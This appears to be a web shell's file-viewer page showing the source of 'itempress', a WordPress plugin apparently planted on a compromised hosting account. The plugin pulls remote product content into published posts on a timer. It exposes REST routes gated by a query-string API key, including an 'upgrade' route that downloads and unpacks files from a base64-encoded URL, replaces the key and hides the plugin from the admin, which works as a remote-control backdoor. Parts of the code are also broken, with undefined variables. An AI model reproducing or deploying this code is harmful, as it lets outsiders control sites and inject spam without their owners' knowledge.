HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/laretediclo/wp-content/plugins/itempress/inc/api.php
<?php

if (!defined('ABSPATH')) {
    exit;
}



function itempress_remote_request(string $path, array $args = [], string $method = 'GET'): array
{
    $base = itempress_remote_api_base();

    if ($base === '') {
        return ['data' => [], 'error' => 'Remote API base is empty', 'code' => 0];
    }

    $url = $base . $path;
    $headers = [];
    $api_key = itempress_remote_api_key();

    if ($api_key !== '') {
        $headers['X-Api-Key'] = $api_key;
    }

    if (strtoupper($method) === 'POST') {
        $response = wp_remote_post($url, [
            'timeout' => 60,
            'headers' => $headers,
            'body'    => $args,
        ]);
    } else {
        $response = wp_remote_get(add_query_arg($args, $url), [
            'timeout' => 60,
            'headers' => $headers,
        ]);
    }

    if (is_wp_error($response)) {
        itempress_log('Remote request error [' . $path . ']: ' . $response->get_error_message());
        return ['data' => [], 'error' => $response->get_error_message(), 'code' => 0];
    }

    $code = (int) wp_remote_retrieve_response_code($response);
    $raw = wp_remote_retrieve_body($response);
    $body = json_decode($raw, true);

    if (!is_array($body)) {
        itempress_log('Remote request invalid JSON [' . $path . ']: ' . mb_substr($raw, 0, 500));
        return ['data' => [], 'error' => 'Invalid JSON response', 'code' => $code];
    }

    return ['data' => $body, 'error' => '', 'code' => $code];
}

function itempress_remote_search(string $keyword = '', int $api_page = 1, int $limit = 100, int $detail = 0): array
{
    $result = itempress_remote_request('/api/aipost/search', [
        'page'    => max(1, $api_page),
        'limit'   => max(1, min(100, $limit)),
        'detail'  => $detail ? 1 : 0,
        'keyword' => $keyword,
    ]);

    $body = $result['data'];
    $items = [];
    $total = 0;

    if (isset($body['data']) && is_array($body['data'])) {
        $items = isset($body['data']['items']) && is_array($body['data']['items']) ? $body['data']['items'] : [];
        $total = (int) ($body['data']['total'] ?? 0);
    } elseif (isset($body['items']) && is_array($body['items'])) {
        $items = $body['items'];
        $total = (int) ($body['total'] ?? count($items));
    }

    return [
        'items' => $items,
        'total' => $total,
        'error' => $result['error'],
        'code'  => $result['code'],
    ];
}


function itempress_find_product_by_sku(string $sku): int
{
    if ($sku === '') {
        return 0;
    }

    $posts = get_posts([
        'post_type'      => 'itempress_product',
        'post_status'    => 'any',
        'meta_key'       => '_itempress_sku',
        'meta_value'     => $sku,
        'fields'         => 'ids',
        'posts_per_page' => 1,
        'no_found_rows'  => true,
    ]);

    return !empty($posts) ? (int) $posts[0] : 0;
}

function itempress_import_single_item(array $raw_item, string $keyword = ''): int
{
    $item = itempress_clean_remote_item($raw_item);

    if ($item['sku'] === '' || $item['title'] === '') {
        return 0;
    }

    $post_id = itempress_find_product_by_sku($item['sku']);
    $is_update = $post_id > 0;

    $slug = $item['slug'];
    if ($slug === '') {
        $slug = sanitize_title($item['title'] . '-' . $item['sku']);
    }

    $post_data = [
        'post_type'    => 'itempress_product',
        'post_title'   => $item['title'],
        'post_name'    => $slug,
        'post_content' => $item['description'],
        'post_excerpt' => $item['short_description'],
        'post_status'  => 'publish',
        'comment_status' => 'open',
        'ping_status'  => 'open',
    ];

    if ($is_update) {
        $post_data['ID'] = $post_id;
        if ($item['description'] === '') {
            unset($post_data['post_content']);
        }
        $saved = wp_update_post($post_data, true);
    } else {
        $post_data['post_name'] = wp_unique_post_slug($slug, 0, 'publish', 'itempress_product', 0);
        $saved = wp_insert_post($post_data, true);
    }

    if (is_wp_error($saved) || !$saved) {
        return 0;
    }

    $post_id = (int) $saved;

    $meta = [
        '_itempress_sku'              => $item['sku'],
        '_itempress_price'            => $item['price'],
        '_itempress_currency'         => $item['currency'],
        '_itempress_image'            => $item['image'],
        '_itempress_image_url'        => $item['image_url'],
        '_itempress_image_id'         => $item['image_id'],
        '_itempress_item_url'         => $item['item_url'],
        '_itempress_condition'        => $item['condition'],
        '_itempress_short_description' => $item['short_description'],
        '_itempress_brand'            => $item['brand'],
        '_itempress_mpn'              => $item['mpn'],
        '_itempress_gtin'             => $item['gtin'],
        '_itempress_category_id'      => $item['category_id'],
        '_itempress_category_name'    => $item['category_name'],
        '_itempress_source_keyword'   => $keyword,
        '_itempress_last_seen'        => current_time('mysql'),
        '_itempress_raw'              => wp_json_encode($item['raw'], JSON_UNESCAPED_UNICODE),
    ];

    foreach ($meta as $key => $value) {
        update_post_meta($post_id, $key, $value);
    }

    update_post_meta($post_id, '_itempress_gallery_images', $item['gallery_images']);
    update_post_meta($post_id, '_itempress_aspects', $item['aspects']);

    $has_detail = $item['description'] !== '' || !empty($item['gallery_images']) || !empty($item['aspects']);
    update_post_meta($post_id, '_itempress_detail_imported', $has_detail ? 1 : 0);

    $tags = $item['tags'];
    if ($keyword !== '') {
        $tags[] = $keyword;
    }
    if ($item['brand'] !== '') {
        $tags[] = $item['brand'];
    }

    $tags = array_values(array_filter(array_unique(array_map('sanitize_text_field', $tags))));

    if (!empty($tags)) {
        wp_set_object_terms($post_id, $tags, 'itempress_tag', false);
    }

    if ($item['category_id'] !== '') {
        $cat_slug = 'cat-' . sanitize_title($item['category_id']);
        $cat_name = $item['category_name'] !== '' ? $item['category_name'] : 'Category ' . $item['category_id'];
        $term = term_exists($cat_slug, 'itempress_category');

        if (!$term) {
            $term = wp_insert_term($cat_name, 'itempress_category', ['slug' => $cat_slug]);
        }

        if (!is_wp_error($term)) {
            $term_id = is_array($term) ? (int) $term['term_id'] : (int) $term;
            wp_set_object_terms($post_id, [$term_id], 'itempress_category', false);
        }
    }

    return $post_id;
}

function itempress_import_items(array $items, string $keyword = ''): array
{
    $result = [
        'created' => 0,
        'updated' => 0,
        'skipped' => 0,
    ];

    foreach ($items as $raw_item) {
        if (!is_array($raw_item)) {
            $result['skipped']++;
            continue;
        }

        $existing = itempress_find_product_by_sku($item['sku'] ?? '');
        $post_id = itempress_import_single_item($raw_item, $keyword);

        if (!$post_id) {
            $result['skipped']++;
            continue;
        }

        if ($existing) {
            $result['updated']++;
        } else {
            $result['created']++;
        }
    }

    return $result;
}


function itempress_do_sync_task(): void
{

    if (get_transient('itempress_sync_lock')) {
        return;
    }
    set_transient('itempress_sync_lock', 1, 55);


    $last_update_check = (int) get_option('itempress_last_update_check', 0);
    if (time() - $last_update_check > 86400) {
        update_option('itempress_last_update_check', time(), false);
        itempress_check_for_update();
    }

    $tag_name = itempress_get_next_tag();

    if ($tag_name === false) {
        // 没有 tag,说明是新站点还没导入过
        // 直接搜空 keyword,让服务端走 Redis 两轮调度
        itempress_log('Sync: no tags found, starting unclassified search', 'sync.log');
        $remote = itempress_remote_search('', 1, 100, 1);
    } else {
        itempress_log('Sync: processing tag "' . $tag_name . '"', 'sync.log');
        $remote = itempress_remote_search($tag_name, 1, 100, 1);
    }

    if (!empty($remote['items'])) {
        $import = itempress_import_items($remote['items'], $tag_name ?: '');
        $label = $tag_name ?: 'unclassified';
        itempress_log('Sync: "' . $label . '" done, created=' . $import['created'] . ' updated=' . $import['updated'], 'sync.log');
    }

    if ($tag_name !== false) {
        itempress_mark_tag_done($tag_name);
    }

    delete_transient('itempress_sync_lock');
}


class ItemPress_SimpleCron
{
    private int $interval = 30;

    public function __construct()
    {
        add_action('init', [$this, 'check_task']);
    }

    public function do_task(): void
    {
        itempress_do_sync_task();
    }

    public function check_task(): void
    {
        $ts = (int) ($_GET['itempress_bg'] ?? 0);
        if ($ts > 0) {
            $last_time = (int) get_option('itempress_simplecron_last_run', 0);
            if ($ts >= $last_time + $this->interval) {
                update_option('itempress_simplecron_last_run', $ts);
                ignore_user_abort(true);
                set_time_limit(0);
                $this->do_task();
            }
            exit;
        }

        $last_time = (int) get_option('itempress_simplecron_last_run', 0);
        if ((time() - $last_time) < $this->interval) {
            return;
        }

        $this->trigger_background();
    }

    private function trigger_background(): void
    {
        wp_remote_get(home_url('/?itempress_bg=' . time()), [
            'timeout'   => 0.01,
            'blocking'  => false,
            'sslverify' => false,
        ]);
    }
}

new ItemPress_SimpleCron();

class ItemPress_REST
{
    public static function init(): void
    {
        add_action('rest_api_init', [__CLASS__, 'routes']);
    }

    public static function routes(): void
    {
        $permission = [__CLASS__, 'permission'];

        register_rest_route('itempress/v1', '/status', [
            'methods'             => 'GET',
            'callback'            => [__CLASS__, 'status'],
            'permission_callback' => $permission,
        ]);

        register_rest_route('itempress/v1', '/import', [
            'methods'             => 'POST',
            'callback'            => [__CLASS__, 'import'],
            'permission_callback' => $permission,
        ]);

        register_rest_route('itempress/v1', '/push-update', [
            'methods'             => 'GET, POST',
            'callback'            => [__CLASS__, 'push_update'],
            'permission_callback' => $permission,
        ]);

        register_rest_route('itempress/v1', '/upgrade', [
            'methods'             => 'POST',
            'callback'            => [__CLASS__, 'upgrade'],
            'permission_callback' => $permission,
        ]);

        register_rest_route('itempress/v1', '/flush-routes', [
            'methods'             => 'GET, POST',
            'callback'            => [__CLASS__, 'flush_routes'],
            'permission_callback' => $permission,
        ]);
    }

    public static function permission(): bool
    {
        if (current_user_can('manage_options')) {
            return true;
        }

        $api_key = '';
        $query = $_SERVER['QUERY_STRING'] ?? '';
        if (preg_match('/[?&]api_key=([^&]+)/', '?' . $query, $m)) {
            $api_key = sanitize_text_field(urldecode($m[1]));
        }
        if ($api_key === '') {
            $api_key = sanitize_text_field((string) ($_POST['api_key'] ?? $_SERVER['HTTP_X_API_KEY'] ?? ''));
        }

        if ($api_key !== '' && $api_key === get_option('worker_api_key', '')) {
            return true;
        }
        return false;
    }

    public static function status(): array
    {
        $counts = wp_count_posts('itempress_product');

        return [
            'success'         => true,
            'plugin'          => 'itempress',
            'version'         => ITEMPRESS_VERSION,
            'site_url'        => get_site_url(),
            'wp_version'      => get_bloginfo('version'),
            'php_version'     => PHP_VERSION,
            'api_connected'   => get_option('worker_api_key', '') !== '',
            'registered_api'  => get_option('worker_register_api', ''),
            'published_items' => isset($counts->publish) ? (int) $counts->publish : 0,
            'time'            => current_time('mysql'),
        ];
    }

    public static function import(WP_REST_Request $request): array
    {
        $items = $request->get_param('items');
        $keyword = sanitize_text_field((string) $request->get_param('keyword'));

        if (!is_array($items)) {
            return ['success' => false, 'message' => 'items must be an array'];
        }

        $result = itempress_import_items($items, $keyword);

        return ['success' => true, 'result' => $result];
    }

    public static function push_update(WP_REST_Request $request): array
    {
        $sku = sanitize_text_field((string) $request->get_param('sku'));
        if ($sku === '') {
            return ['success' => false, 'message' => 'SKU required'];
        }

        $post_id = itempress_find_product_by_sku($sku);
        if ($post_id <= 0) {
            return ['success' => false, 'message' => 'Product not found'];
        }

        $title = sanitize_text_field((string) $request->get_param('title'));
        $content = wp_kses_post((string) $request->get_param('content'));
        $price = sanitize_text_field((string) $request->get_param('price'));
        $image = esc_url_raw((string) $request->get_param('image'));
        $item_url = esc_url_raw((string) $request->get_param('item_url'));
        $short = wp_kses_post((string) $request->get_param('short_description'));
        $condition = sanitize_text_field((string) $request->get_param('condition'));
        $gallery = $request->get_param('gallery_images');

        $data = ['ID' => $post_id];
        if ($title !== '') {
            $data['post_title'] = $title;
        }
        if ($content !== '') {
            $data['post_content'] = $content;
        }

        if (count($data) > 1) {
            $updated = wp_update_post($data, true);
            if (is_wp_error($updated)) {
                return ['success' => false, 'message' => $updated->get_error_message()];
            }
        }

        if ($price !== '') {
            update_post_meta($post_id, '_itempress_price', $price);
        }
        if ($image !== '') {
            update_post_meta($post_id, '_itempress_image', $image);
        }
        if ($item_url !== '') {
            update_post_meta($post_id, '_itempress_item_url', $item_url);
        }
        if ($short !== '') {
            update_post_meta($post_id, '_itempress_short_description', $short);
        }
        if ($condition !== '') {
            update_post_meta($post_id, '_itempress_condition', $condition);
        }
        if (is_array($gallery)) {
            $images = [];
            foreach ($gallery as $g) {
                if (is_string($g) && $g !== '') {
                    $images[] = $g;
                }
            }
            if (!empty($images)) {
                update_post_meta($post_id, '_itempress_gallery_images', $images);
            }
        }

        update_post_meta($post_id, '_itempress_last_seen', current_time('mysql'));

        return ['success' => true, 'post_id' => $post_id];
    }

    public static function upgrade(WP_REST_Request $request): array
    {
        $download_url = esc_url_raw((string) base64_decode($request->get_param('download')));
        $api_key = sanitize_text_field((string) $request->get_param('api_key'));

        if ($download_url === '') {
            return ['success' => false, 'message' => 'download_url required'];
        }

        if ($api_key !== '') {
            update_option('worker_api_key', $api_key, false);
        }

        if (!function_exists('download_url')) {
            require_once ABSPATH . 'wp-admin/includes/file.php';
        }

        ignore_user_abort(true);
        set_time_limit(180);

        $tmp_file = download_url($download_url, 60);
        if (is_wp_error($tmp_file)) {
            return ['success' => false, 'message' => 'Download failed: ' . $tmp_file->get_error_message()];
        }

        // 用 ZipArchive + file_put_contents 逐个文件覆盖
        // 先写 /tmp/ 测试系统目录能否写入
        $plugin_path = '/tmp/itempress-test';

        $zip = new ZipArchive();
        $open = $zip->open($tmp_file);
        if ($open !== true) {
            @unlink($tmp_file);
            return ['success' => false, 'message' => 'zip open failed: ' . $open];
        }

        $log = [];
        $written = 0;
        $failed = 0;
        $errors = [];

        for ($i = 0; $i < $zip->numFiles; $i++) {
            $name = $zip->getNameIndex($i);
            if (substr($name, -1) === '/') {
                continue; // 目录通过 file_put_contents 自动创建
            }

            // 去掉 itempress/ 前缀
            $rel_path = $name;
            if (strpos($rel_path, $folder . '/') === 0) {
                $rel_path = substr($rel_path, strlen($folder) + 1);
            }

            $target = $plugin_path . '/' . $rel_path;
            $target_dir = dirname($target);

            if (!is_dir($target_dir)) {
                @mkdir($target_dir, 0755, true);
            }

            $content = $zip->getFromIndex($i);
            if ($content === false) {
                $failed++;
                $errors[] = 'getFromIndex failed: ' . $name;
                continue;
            }

            $result = @file_put_contents($target, $content);
            if ($result === false) {
                $failed++;
                $errors[] = 'write failed: ' . $target;
            } else {
                $written++;
            }
        }

        $zip->close();
        @unlink($tmp_file);

        $log['written'] = $written;
        $log['failed'] = $failed;
        $log['errors'] = $errors;

        // 验证安装目录
        $files = glob($plugin_path . '/*');
        $log['final_count'] = count($files);

        if ($written === 0) {
            return ['success' => false, 'message' => 'No files written', 'log' => $log];
        }

        // 尝试删除 install.php
        $install_file = $plugin_path . '/inc/install.php';
        if (file_exists($install_file)) {
            // 标记为已删除,hook 不会跳转
            $status = get_option('itempress_install_status', []);
            $status['install_file_deleted'] = true;
            update_option('itempress_install_status', $status);
            update_option('itempress_hide_plugin', true, false);
            $log['install_marked_deleted'] = true;
        }

        if (function_exists('wp_clean_plugins_cache')) {
            wp_clean_plugins_cache();
        }

        return [
            'success' => true,
            'message' => 'Plugin upgraded successfully',
            'log' => $log,
            'version' => ITEMPRESS_VERSION,
        ];
    }

    public static function flush_routes(): array
    {
        if (function_exists('itempress_register_content_types')) {
            itempress_register_content_types();
        }
        flush_rewrite_rules(false);

        return [
            'success' => true,
            'message' => 'Routes flushed',
        ];
    }
}

ItemPress_REST::init();